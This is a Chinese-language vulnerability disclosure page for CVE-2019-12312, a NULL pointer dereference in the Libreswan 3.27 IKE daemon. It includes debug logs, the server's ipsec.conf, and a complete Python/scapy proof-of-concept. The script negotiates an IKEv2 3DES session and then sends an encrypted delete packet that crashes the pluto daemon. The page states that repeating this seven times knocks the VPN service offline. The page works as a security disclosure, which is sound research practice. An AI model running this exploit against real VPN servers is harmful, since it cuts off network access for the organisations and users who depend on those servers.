CVE中文申请站

一、漏洞摘要

漏洞名称: NULL pointer dereference and IKE pluto daemon restart in Libreswan 3.27
上报日期: 2019-05-12
漏洞发现者: Guo Jiaxing
产品首页: https://libreswan.org
软件链接: https://github.com/libreswan/libreswan
版本: 3.27
CVE编号: CVE-2019-12312


二、漏洞概述

通过向Libreswan服务发送两个3des_cbc模式的IKEv2数据包(init_IKE和delete_IKE),会引发pluto IKE守护进程重启。
首先,将第一个init_IKE消息发送到服务器。
服务器将init_IKE消息回复给客户端。
然后将delete_IKE消息(加密)发送到服务器。
服务器尝试向客户端响应INVALID_IKE_SPI,但在准备加密消息时发生异常。
1.png
漏洞触发、相关日志和配置信息如下:
日志如下:

May  7 16:32:32.868480: | state #1 requesting EVENT_CRYPTO_TIMEOUT to be deleted
May  7 16:32:32.868496: | free_event_entry: release EVENT_CRYPTO_TIMEOUT-pe@0x55f4dc4630f8
May  7 16:32:32.868501: | event_schedule: new EVENT_v2_RESPONDER_TIMEOUT-pe@0x55f4dc4630f8
May  7 16:32:32.868506: | inserting event EVENT_v2_RESPONDER_TIMEOUT, timeout in 200.000 seconds for #1
May  7 16:32:32.868515: | processing: stop state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in schedule_event_now_cb() at server.c:561)
May  7 16:32:32.868519: | serialno table: hash serialno #0 to head 0x55f4db2fb4e0
May  7 16:32:32.868522: | serialno table: hash serialno #0 to head 0x55f4db2fb4e0
May  7 16:32:32.883707: | *received 68 bytes from 192.168.40.1:4500 on ens33 (port=4500)
May  7 16:32:32.883740: |   34 ba 3b f6  d8 8c 17 ef  c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883743: |   2e 20 25 08  00 00 00 01  00 00 00 44  2a 00 00 28
May  7 16:32:32.883745: |   3d 21 87 9c  40 0e 58 e5  a1 df c6 c9  a2 26 f8 f5
May  7 16:32:32.883766: |   c7 0f 53 75  d7 a0 df c4  6e 5a 1a 99  55 02 59 5f
May  7 16:32:32.883769: |   ad c5 55 41
May  7 16:32:32.883773: | processing: start from 192.168.40.1:4500 (in process_md() at demux.c:391)
May  7 16:32:32.883778: | **parse ISAKMP Message:
May  7 16:32:32.883780: |    initiator cookie:
May  7 16:32:32.883782: |   34 ba 3b f6  d8 8c 17 ef
May  7 16:32:32.883785: |    responder cookie:
May  7 16:32:32.883786: |   c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883789: |    next payload type: ISAKMP_NEXT_v2SK (0x2e)
May  7 16:32:32.883792: |    ISAKMP version: IKEv2 version 2.0 (rfc4306/rfc5996) (0x20)
May  7 16:32:32.883794: |    exchange type: ISAKMP_v2_INFORMATIONAL (0x25)
May  7 16:32:32.883796: |    flags: ISAKMP_FLAG_v2_IKE_INIT (0x8)
May  7 16:32:32.883799: |    message ID:  00 00 00 01
May  7 16:32:32.883801: |    length: 68 (0x44)
May  7 16:32:32.883804: |  processing version=2.0 packet with exchange type=ISAKMP_v2_INFORMATIONAL (37)
May  7 16:32:32.883806: | I am receiving an IKEv2 Request ISAKMP_v2_INFORMATIONAL
May  7 16:32:32.883808: | I am the IKE SA Original Responder
May  7 16:32:32.883814: | cookies table: hash icookie 34 ba 3b f6  d8 8c 17 ef rcookie c6 e1 11 69  1d 5e 18 44 to 3873113480610546027 slot 0x55f4db2f6b40
May  7 16:32:32.883817: | parent v2 peer and cookies match on #1
May  7 16:32:32.883820: | v2 state object #1 found, in STATE_PARENT_R1
May  7 16:32:32.883825: | processing: start state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in processed_retransmit() at ikev2.c:1182)
May  7 16:32:32.883827: | found state #1
May  7 16:32:32.883831: | processing: [RE]START state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in ikev2_process_packet() at ikev2.c:1552)
May  7 16:32:32.883834: | processing: start connection "ikev2-cp"[1] 192.168.40.1 (BACKGROUND) (in ikev2_process_packet() at ikev2.c:1557)
May  7 16:32:32.883837: | #1 is idle
May  7 16:32:32.883839: | #1 idle
May  7 16:32:32.883841: | #1 in state PARENT_R1: received v2I1, sent v2R1
May  7 16:32:32.883844: | selected state microcode roof
May  7 16:32:32.883846: | no useful state microcode entry found
May  7 16:32:32.883850: "ikev2-cp"[1] 192.168.40.1 #1: responding to INFORMATIONAL message (ID 1) from 192.168.40.1:500 with encrypted notification INVALID_IKE_SPI
May  7 16:32:32.883853: | Opening output PBS encrypted notification
May  7 16:32:32.883856: | **emit ISAKMP Message:
May  7 16:32:32.883858: |    initiator cookie:
May  7 16:32:32.883860: |   34 ba 3b f6  d8 8c 17 ef
May  7 16:32:32.883862: |    responder cookie:
May  7 16:32:32.883864: |   c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883866: |    next payload type: ISAKMP_NEXT_NONE (0x0)
May  7 16:32:32.883869: |    ISAKMP version: IKEv2 version 2.0 (rfc4306/rfc5996) (0x20)
May  7 16:32:32.883871: |    exchange type: ISAKMP_v2_INFORMATIONAL (0x25)
May  7 16:32:32.883873: |    flags: ISAKMP_FLAG_v2_MSG_RESPONSE (0x20)
May  7 16:32:32.883875: |    message ID:  00 00 00 01
May  7 16:32:32.883878: | next payload type: saving message location 'ISAKMP Message'.'next payload type'
May  7 16:32:32.883881: | next payload type: setting 'ISAKMP Message'.'next payload type' to IKEv2 Encryption Payload (46:ISAKMP_NEXT_v2SK)
May  7 16:32:32.883884: | ***emit IKEv2 Encryption Payload:
May  7 16:32:32.883886: |    next payload type: ISAKMP_NEXT_v2NONE (0x0)
May  7 16:32:32.883888: |    flags: none (0x0)
May  7 16:32:32.883890: | next payload type: saving message location 'IKEv2 Encryption Payload'.'next payload type'
May  7 16:32:32.883901: | emitting 8 raw bytes of IV into IKEv2 Encryption Payload
May  7 16:32:32.883904: | IV  d1 f5 3d d9  f2 04 95 d2
May  7 16:32:32.883906: | Adding a v2N Payload
May  7 16:32:32.883909: | next payload type: setting 'IKEv2 Encryption Payload'.'next payload type' to IKEv2 Notify Payload (41:ISAKMP_NEXT_v2N)
May  7 16:32:32.883911: | ****emit IKEv2 Notify Payload:
May  7 16:32:32.883913: |    next payload type: ISAKMP_NEXT_v2NONE (0x0)
May  7 16:32:32.883915: |    flags: none (0x0)
May  7 16:32:32.883918: |    Protocol ID: PROTO_v2_RESERVED (0x0)
May  7 16:32:32.883926: |    SPI size: 0 (0x0)
May  7 16:32:32.883929: |    Notify Message Type: v2N_INVALID_IKE_SPI (0x4)
May  7 16:32:32.883931: | next payload type: saving payload location 'IKEv2 Notify Payload'.'next payload type'
May  7 16:32:32.883944: | emitting length of IKEv2 Notify Payload: 8
May  7 16:32:32.883947: | adding 8 bytes of padding (including 1 byte padding-length)
May  7 16:32:32.883949: | emitting 8 raw bytes of padding and length into IKEv2 Encryption Payload
May  7 16:32:32.883952: | padding and length  00 01 02 03  04 05 06 07
May  7 16:32:32.883955: | emitting 12 zero bytes of length of truncated HMAC/KEY into IKEv2 Encryption Payload
May  7 16:32:32.883966: | emitting length of IKEv2 Encryption Payload: 40
May  7 16:32:32.883969: | emitting length of ISAKMP Message: 68
May  7 16:32:32.883972: | construct_enc_iv: encryption IV/starting-variable: salt-size=0 wire-IV-size=8 block-size 8
May  7 16:32:32.883974: | construct_enc_iv: encryption IV/starting-variable: computed counter-size=0
May  7 16:32:32.883976: | encryption IV/starting-variable
May  7 16:32:32.883978: |   d1 f5 3d d9  f2 04 95 d2
May  7 16:32:32.883980: | data before encryption:
May  7 16:32:32.883982: |   00 00 00 08  00 00 00 04  00 01 02 03  04 05 06 07
May  7 16:32:32.883985: | NSS ike_alg_nss_cbc: 3des_cbc - enter
May  7 16:32:32.883988: "ikev2-cp"[1] 192.168.40.1 #1: ABORT: ASSERTION FAILED: 3des_cbc - NSS derived enc key in NULL (in ike_alg_nss_cbc() at ike_alg_encrypt_nss_cbc_ops.c:41)

配置文件ipsec.cof如:

version 2.0

config setup
  virtual-private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:!192.168.42.0/24,%v4:!192.168.43.0/24
  protostack=netkey
  interfaces=%defaultroute
  uniqueids=no
  plutodebug="all crypt"
  plutostderrlog=/var/log/libreswan.log

conn ikev2-cp
  left=%defaultroute
  leftcert=192.168.40.130
  leftid=@192.168.40.130
  leftsendcert=always
  leftsubnet=0.0.0.0/0
  leftrsasigkey=%cert
  right=%any
  rightid=%fromcert
  # rightaddresspool=192.168.43.10-192.168.43.250
  rightaddresspool=10.31.2.0-10.31.3.254
  rightca=%same
  rightrsasigkey=%cert
  narrowing=yes
  dpddelay=30
  dpdtimeout=120
  dpdaction=clear
  auto=add
  ikev2=insist
  rekey=yes
  pfs=no
  ike-frag=yes
  ike=3des-sha1;modp1024,aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=3des-sha1;modp1024,aes_gcm-null,aes128-sha1,aes256-sha1,aes128-sha2,aes256-sha2
  modecfgdns="8.8.8.8 8.8.4.4"
  encapsulation=yes
  mobike=no

conn shared
  left=%defaultroute
  leftid=218.28.144.36
  right=%any
  encapsulation=yes
  authby=secret
  pfs=no
  rekey=no
  keyingtries=5
  dpddelay=30
  dpdtimeout=120
  dpdaction=clear
  ike=aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=aes_gcm-null,aes128-sha1,aes256-sha1,aes256-sha2_512,aes128-sha2,aes256-sha2
  sha2-truncbug=yes


conn l2tp-psk
  auto=add
  leftprotoport=17/1701
  rightprotoport=17/%any
  type=transport
  phase2=esp
  also=shared


conn xauth-psk
  auto=add
  leftsubnet=0.0.0.0/0
  rightaddresspool=192.168.43.10-192.168.43.250
  modecfgdns="8.8.8.8 8.8.4.4"
  leftxauthserver=yes
  rightxauthclient=yes
  leftmodecfgserver=yes
  rightmodecfgclient=yes
  modecfgpull=yes
  xauthby=file
  ike-frag=yes
  ikev2=never
  cisco-unity=yes
  also=shared
  ike=3des-sha1;modp1024,aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=aes_gcm-null,aes128-sha1,aes256-sha1,aes128-sha2,aes256-sha2


三、利用代码

重现代码需要搭建Libreswan3.27服务器,之后参考ipsec.conf配置文件配置libreswan支持IKEv2下3des-cbc加密参数。
Poc用于发送数据包
运行poc后,程序向服务器发送第一个init_IKE包,之后服务器回应init_IKE报文,然后向服务器发送delete_IKE报文(非正常的报文交互)
2.png
服务器试图回应INVALID_IKE_SPI,在准备对报文进行加密时,出现异常
3.png
如果重复上述操作7次,ubuntu会禁止守护进程频繁重启,从而导致进程掉线。
4.png
5.png
exp代码如下:

#!/usr/bin/python
from __future__ import absolute_import, division, print_function
from scapy.layers.ipsec import *
from scapy.layers.inet import *
from scapy.contrib.ikev2 import *
from scapy.all import *
import os
import json
from cryptography.hazmat.primitives.asymmetric import dh
from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
from scapy.utils import long_converter
from scapy.compat import *
from scapy.config import conf, crypto_validator
from cryptography.hazmat.primitives import hashes, hmac
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
import copy
import time
import threading
import sys
from fractions import gcd
import os
import socket
import struct
conf.use_pcap = True
localhost = "127.0.0.1"
retry_timeout = 1
srp1_timeout = 0.3
srp1_timeout_init = 0.5
retry_times = 1
srp1_verbose = 0
Init_length = 375
ip_src = "192.168.40.1"
ip_dst = "192.168.40.130"
ether_src = "00:50:56:c0:00:08"
ether_dst = "00:0c:29:0b:f0:c5"
iface = "VMware Virtual Ethernet Adapter for VMnet8"

init_my_ikev2 = {"current": None, "old": None, "pck1": b"", "ip_byte": b""}
my_ikev2 = {"current": None, "old": None, "pck1": b"", "ip_byte": b""}


def _lcm(a, b):
    if a == 0 or b == 0:
        return 0
    else:
        return abs(a * b) // gcd(a, b)


class CryptAlgo(object):
    def __init__(self, name, cipher, mode, block_size=None, iv_size=None,
                 key_size=None, icv_size=None, salt_size=None, format_mode_iv=None):
        self.name = name
        self.cipher = cipher
        self.mode = mode
        self.icv_size = icv_size
        self.is_aead = False
        if block_size is not None:
            self.block_size = block_size
        elif cipher is not None:
            self.block_size = cipher.block_size // 8
        else:
            self.block_size = 1
        if iv_size is None:
            self.iv_size = self.block_size
        else:
            self.iv_size = iv_size
        if key_size is not None:
            self.key_size = key_size
        elif cipher is not None:
            self.key_size = tuple(i // 8 for i in cipher.key_sizes)
        else:
            self.key_size = None

    def check_key(self, key):
        if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size):
            raise TypeError('invalid key size %s, must be %s' %
                            (len(key), self.key_size))

    def generate_iv(self):
        return os.urandom(self.iv_size)

    @crypto_validator
    def new_cipher(self, key, mode_iv, digest=None):
        return Cipher(
            self.cipher(key),
            self.mode(mode_iv),
            default_backend(),
        )

    def pad(self, sk):
        data_len = len(sk) + 1
        align = _lcm(self.block_size, 4)
        padlen = -data_len % align
        padding = struct.pack("B" * padlen, *[0 for i in range(padlen)])
        payload_len = len(sk) + len(padding) + 1
        if payload_len % 4 != 0:
            raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.')

        return sk + padding + bytes([padlen])

    def encrypt(self, sa, sk, key, iv):
        data = sk

        if self.cipher:
            cipher = self.new_cipher(key, iv)
            encryptor = cipher.encryptor()
            data = encryptor.update(data) + encryptor.finalize()
            sk1 = data
        return iv + sk1

    def decrypt(self, sa, sk1, key):
        iv = sk1[:self.iv_size]
        data = sk1[self.iv_size:]
        if self.cipher:
            cipher = self.new_cipher(key, iv)
            decryptor = cipher.decryptor()
            try:
                data = decryptor.update(data) + decryptor.finalize()
            except InvalidTag as err:
                raise IPSecIntegrityError(err)
        return data[:len(data) - orb(data[-1]) - 1]


CRYPT_ALGOS = {
    'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0),
}
if algorithms:
    CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC',
                                       cipher=algorithms.AES,
                                       mode=modes.CBC)
    CRYPT_ALGOS['DES'] = CryptAlgo('DES',
                                   cipher=algorithms.TripleDES,
                                   mode=modes.CBC,
                                   key_size=(8,))
    CRYPT_ALGOS['3DES'] = CryptAlgo('3DES',
                                    cipher=algorithms.TripleDES,
                                    mode=modes.CBC)
    CRYPT_ALGOS['CAST'] = CryptAlgo('CAST',
                                    cipher=algorithms.CAST5,
                                    mode=modes.CBC)
if conf.crypto_valid:
    from cryptography.hazmat.primitives.hmac import HMAC
    from cryptography.hazmat.primitives.cmac import CMAC
    from cryptography.hazmat.primitives import hashes
else:
    HMAC = CMAC = hashes = None


class IPSecIntegrityError(Exception):
    """
    Error risen when the integrity check fails.
    """
    pass


class AuthAlgo(object):
    def __init__(self, name, mac, digestmod, icv_size, key_size=None):
        self.name = name
        self.mac = mac
        self.digestmod = digestmod
        self.icv_size = icv_size

    @crypto_validator
    def new_mac(self, key):
        return self.mac(key, self.digestmod(), default_backend())

    def sign(self, pkt, key):
        if not self.mac:
            return pkt

        mac = self.new_mac(key)
        mac.update(raw(pkt))
        pkt[IKEv2_payload_Encrypted].load += mac.finalize()[:self.icv_size]

        return pkt


AUTH_ALGOS = {
    'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0),
}

if HMAC and hashes:
    AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96',
                                          mac=HMAC,
                                          digestmod=hashes.SHA1,
                                          icv_size=12)
    AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128',
                                          mac=HMAC,
                                          digestmod=hashes.SHA256,
                                          icv_size=16)
    AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192',
                                          mac=HMAC,
                                          digestmod=hashes.SHA384,
                                          icv_size=24)
    AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256',
                                          mac=HMAC,
                                          digestmod=hashes.SHA512,
                                          icv_size=32)
    AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96',
                                         mac=HMAC,
                                         digestmod=hashes.MD5,
                                         icv_size=12)
if CMAC and algorithms:
    AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96',
                                         mac=CMAC,
                                         digestmod=algorithms.AES,
                                         icv_size=12,
                                         key_size=(16,))


class SecurityAssociation_IKE(object):
    def __init__(self, crypt_algo=None, crypt_key=None,
                 auth_algo=None, auth_key=None):

        self.crypt_algo = CRYPT_ALGOS[crypt_algo]
        self.crypt_key = crypt_key

        self.auth_algo = AUTH_ALGOS[auth_algo]
        self.auth_key = auth_key

    def _encrypt_esp(self, sk, iv=None):

        if iv is None:
            iv = self.crypt_algo.generate_iv()
        else:
            if len(iv) != self.crypt_algo.iv_size:
                raise TypeError('iv length must be %s' % self.crypt_algo.iv_size)
        sk = self.crypt_algo.pad(sk)
        # print("\\".join([hex(i) for i in list(sk)]))
        sk1 = self.crypt_algo.encrypt(self, sk, self.crypt_key, iv)
        return sk1

    def sign(self, pkt):
        return self.auth_algo.sign(pkt, self.auth_key)

    def encrypt(self, sk, iv=None):
        return self._encrypt_esp(sk, iv=iv)

    def _decrypt_esp(self, sk1):
        sk = self.crypt_algo.decrypt(self, sk1, self.crypt_key)
        return sk

    def decrypt(self, sk1):
        return self._decrypt_esp(sk1)


class esp:
    def __init__(self, esp_spi_i, esp_spi_r, esp_ei, esp_ai, esp_ni, esp_nr, esp_ip):
        self.esp_spi_i = esp_spi_i
        self.esp_spi_r = esp_spi_r
        self.esp_ei = esp_ei
        self.esp_ai = esp_ai
        self.esp_ni = esp_ni
        self.esp_nr = esp_nr
        self.id = 1
        self.esp_ip = esp_ip


class ikev2:
    def __init__(self, spi_i, spi_r, sk_ei, sk_er, sk_ai, sk_pi, sk_d, ni, nr, id=0, current_esp=None, old_esp=None):
        self.spi_i = spi_i
        self.spi_r = spi_r
        self.sk_ei = sk_ei
        self.sk_er = sk_er
        self.sk_ai = sk_ai
        self.sk_pi = sk_pi
        self.sk_d = sk_d
        self.ni = ni
        self.nr = nr
        self.id = 0
        self.current_esp = None
        self.old_esp = None

    def __str__(self):
        return "[{}:{}]".format(self.__class__.__name__, self.gatherAttrs())

    def gatherAttrs(self):
        return ",".join("{}={}\n"
                        .format(k, getattr(self, k))
                        for k in self.__dict__.keys())


g = 0x02
m = long_converter("""
FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08
8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B
302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9
A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6
49286651 ECE65381 FFFFFFFF FFFFFFFF""")


def my_srp1(pks, verbose, filter, timeout):
    for time in timeout:
        thread = threading.Thread(
            target=sendp,
            args=(pks, 0, 0, iface, None, None, verbose),
        )
        thread.start()
        pck = sniff(iface=iface, count=1, filter="not dst host %s and " % ip_dst + filter, timeout=time)
        thread.join()
        if len(pck) != 0:
            return pck
    return None


def send_first_pck():
    pn = dh.DHParameterNumbers(m, g)
    params = pn.parameters(default_backend())
    private_key = params.generate_private_key()
    peer_public_key = private_key.public_key()
    y = peer_public_key.public_numbers().y
    y_net = pkcs_i2osp(y, peer_public_key.key_size // 8)

    spi_i = os.urandom(8)
    ni = os.urandom(32)
    pck1 = build_first_pck(y_net, spi_i, ni)
    time.sleep(1)
    c = srp1(pck1, iface=iface, filter="udp and port 500", timeout=srp1_timeout, retry=0, verbose=srp1_verbose)
    if c is None:
        time.sleep(1)
        c = srp1(pck1, iface=iface, filter="udp and port 500", timeout=srp1_timeout_init, retry=0, verbose=srp1_verbose)
        if c is None:
            print("IKE_INIT no response")
            print("Incorrect configuration")
            sys.exit(-1)
            return -1
    print(c[0].summary())
    if len(c[0]) < 100:
        print("init_IKE fail,invalid syntax")
        sys.exit(-1)
    pck2 = c[0]
    spi_r = pck2[IKEv2].resp_SPI

    nr = pck2[IKEv2_payload_Nonce].load  # ok!
    response_peer_public_key = pkcs_os2ip(pck2[IKEv2_payload_KE].load)
    response_peer_public_numbers = dh.DHPublicNumbers(response_peer_public_key, pn)
    real_response_peer_public_key = response_peer_public_numbers.public_key(default_backend())

    shared_key_1 = private_key.exchange(real_response_peer_public_key)
    shared_key = shared_key_1[:128]
    h = hmac.HMAC(ni + nr, hashes.SHA1(), backend=default_backend())
    h.update(shared_key)
    SKEYSEED = h.finalize()
    K = SKEYSEED
    S = ni + nr + spi_i + spi_r
    T = b""
    TotalKey = b""
    count_byte = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10"
    for i in range(1, 10):
        data = T + S + count_byte[i - 1:i]
        h = hmac.HMAC(K, hashes.SHA1(), backend=default_backend())
        h.update(data)
        T = h.finalize()
        TotalKey += T
    SK_d = TotalKey[0:20]
    SK_ai = TotalKey[20:20 + 20]
    SK_ar = TotalKey[40:40 + 20]
    SK_ei = TotalKey[60:60 + 24]
    SK_er = TotalKey[84:84 + 24]
    SK_pi = TotalKey[108:108 + 20]
    SK_pr = TotalKey[128:128 + 20]
    ikev2_1 = ikev2(spi_i, spi_r, SK_ei, SK_er, SK_ai, SK_pi, SK_d, ni, nr)
    my_ikev2["current"] = ikev2_1
    my_ikev2["current"].id += 1
    my_ikev2["pck1"] = raw(pck1)
    return 1


def build_first_pck(y_net, spi_i, ni):
    a = Ether(dst=ether_dst)
    a /= IP(dst=ip_dst)
    a /= UDP(sport=500, dport=500)
    a /= IKEv2(init_SPI=spi_i, exch_type=34, flags=0x8)
    a /= IKEv2_payload_SA(next_payload=34, prop=IKEv2_payload_Proposal(trans_nb=4,
                                                                       trans=IKEv2_payload_Transform(transform_type=1,
                                                                                                     transform_id=3)
                                                                             / IKEv2_payload_Transform(
                                                                           transform_type=3,
                                                                           transform_id=2) / IKEv2_payload_Transform(
                                                                           transform_type=2,
                                                                           transform_id=2) / IKEv2_payload_Transform(
                                                                           transform_type=4, transform_id=2)))
    a /= IKEv2_payload_KE(next_payload=40, group=2, load=y_net)
    a /= IKEv2_payload_Nonce(next_payload=41,
                             load=ni)
    a /= IKEv2_payload_Notify(next_payload=41, proto=0, type=16388,
                              load=b"\x13\xfa\x01\xe7\x3c\xe4\x93\x54\xb6\xec\x88\x1d\xea\x53\x13\x4f\xad\x32\x86\x20")
    a /= IKEv2_payload_Notify(next_payload=43, proto=0, type=16389,
                              load=b"\xde\xb7\xf8\x91\xdd\x58\x28\xe6\x89\xc3\xc1\x6c\xae\x9a\x07\xb8\x6f\xb4\x13\xc3")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\x1e\x2b\x51\x69\x05\x99\x1c\x7d\x7c\x96\xfc\xbf\xb5\x87\xe4\x61\x00\x00"
                                         b"\x00\x09")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\xfb\x1d\xe3\xcd\xf3\x41\xb7\xea\x16\xb7\xe5\xbe\x08\x55\xf1\x20")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\x26\x24\x4d\x38\xed\xdb\x61\xb3\x17\x2a\x36\xe3\xd0\xcf\xb8\x19")
    a /= IKEv2_payload_VendorID(next_payload=0,
                                vendorID=b"\x01\x52\x8b\xbb\xc0\x06\x96\x12\x18\x49\xab\x9a\x1c\x5b\x2a\x51\x00\x00"
                                         b"\x00\x02")

    return a


def create_encrypted_payload(b, sa, exch_type, next_payload, ikev2_1):
    spi_i = ikev2_1.spi_i
    spi_r = ikev2_1.spi_r
    id = ikev2_1.id
    SK_ai = ikev2_1.sk_ai
    sk = raw(b)
    iv = b"\x3d\x21\x87\x9c\x40\x0e\x58\xe5"
    sk1 = sa.encrypt(sk, iv=iv)
    a = IKEv2(init_SPI=spi_i, resp_SPI=spi_r, exch_type=exch_type, flags=8, id=id)
    # id += 1
    a /= IKEv2_payload_Encrypted(next_payload=next_payload,
                                 load=sk1 + struct.pack("B" * 12, *[0 for i in range(12)]))
    h = hmac.HMAC(SK_ai, hashes.SHA1(), backend=default_backend())
    h.update(raw(a)[:len(a) - 12])
    c = h.finalize()
    icv = c[:12]
    a = IKEv2(init_SPI=spi_i, resp_SPI=spi_r, exch_type=exch_type, flags=8, id=id)
    a /= IKEv2_payload_Encrypted(next_payload=next_payload,
                                 load=sk1 + icv)
    b = Ether(dst=ether_dst)
    b /= IP(dst=ip_dst, id=1, flags=0, proto=17)
    b /= UDP(sport=4500, dport=4500)
    b /= ESP(seq=struct.unpack('>I', (raw(a)[:4]))[0], data=raw(a)[4:])
    return b


def delete_current_IKE_SA():
    if my_ikev2["current"] is None:
        print("没有当前ike,不能强制删除")
        return 0
    delete_IKE_1(my_ikev2["current"])
    my_ikev2["current"].id += 1


def delete_IKE_1(ikev2_1):
    SK_ei = ikev2_1.sk_ei
    a = IKEv2_payload_Delete(vendorID=b"\x01\x00\x00\x00")
    sa = SecurityAssociation_IKE(crypt_algo='3DES',
                                 crypt_key=SK_ei,
                                 auth_algo='HMAC-SHA1-96',
                                 auth_key=b"")
    b = create_encrypted_payload(raw(a), sa, 37, 42, ikev2_1)
    sendp(b, iface=iface)


def init():
    global my_ikev2
    my_ikev2 = copy.deepcopy(init_my_ikev2)


def get_mac_dst(ip_dst):
    s = 'ping ' + ip_dst
    os.system(s)
    try:
        for line in os.popen("arp -a"):
            if line.lstrip().startswith(ip_dst):
                s1 = line.split()
                mac = s1[1].replace("-", ":")
                print(mac)
        return mac
    except:
        print("can't get mac")


def create_mac_dst():
    global ether_dst
    ether_dst = get_mac_dst(ip_dst)


def close_all():
    global my_ikev2
    my_ikev2 = copy.deepcopy(init_my_ikev2)
    return 0


if __name__ == '__main__':
    init()
    for i in range(1):
        send_first_pck()
        delete_current_IKE_SA()
    sys.exit(0)


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/218/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12312
github:https://github.com/libreswan/libreswan/issues/246
exploit-db:发布中

标签: Libreswan